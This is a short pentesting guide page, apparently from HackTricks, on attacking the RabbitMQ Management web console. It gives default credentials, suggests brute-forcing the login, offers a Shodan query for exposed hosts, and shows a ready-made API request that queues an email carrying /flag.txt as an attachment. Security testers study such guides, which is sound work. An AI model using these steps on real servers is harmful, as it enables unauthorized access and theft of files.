HackTricks
Search…
Pentesting
15672 - Pentesting RabbitMQ Management

Basic Information

You can learn more about RabbitMQ in 5671,5672 - Pentesting AMQP. In this port you may find the RabbitMQ Management web console if the management plugin is enabled. The main page should looks like this:

Enumeration

The default credentials are "guest":"guest". If they aren't working you may try to brute-force the login.
To manually start this module you need to execute:
1
rabbitmq-plugins enable rabbitmq_management
2
service rabbitmq-server restart
Copied!
Once you have correctly authenticated you will see the admin console:
Also, if you have valid credentials you may find interesting the information of http://localhost:15672/api/connections
Note also that it's possible to publish data inside a queue using the API of this service with a request like:
1
POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
2
Host: 172.32.56.72:15672
3
Authorization: Basic dGVzdDp0ZXN0
4
Accept: */*
5
Content-Type: application/json;charset=UTF-8
6
Content-Length: 267
7
8
{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"[email protected]\", \"attachments\": [{\"path\": \"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}
Copied!

Shodan

  • port:15672 http
Last modified 1yr ago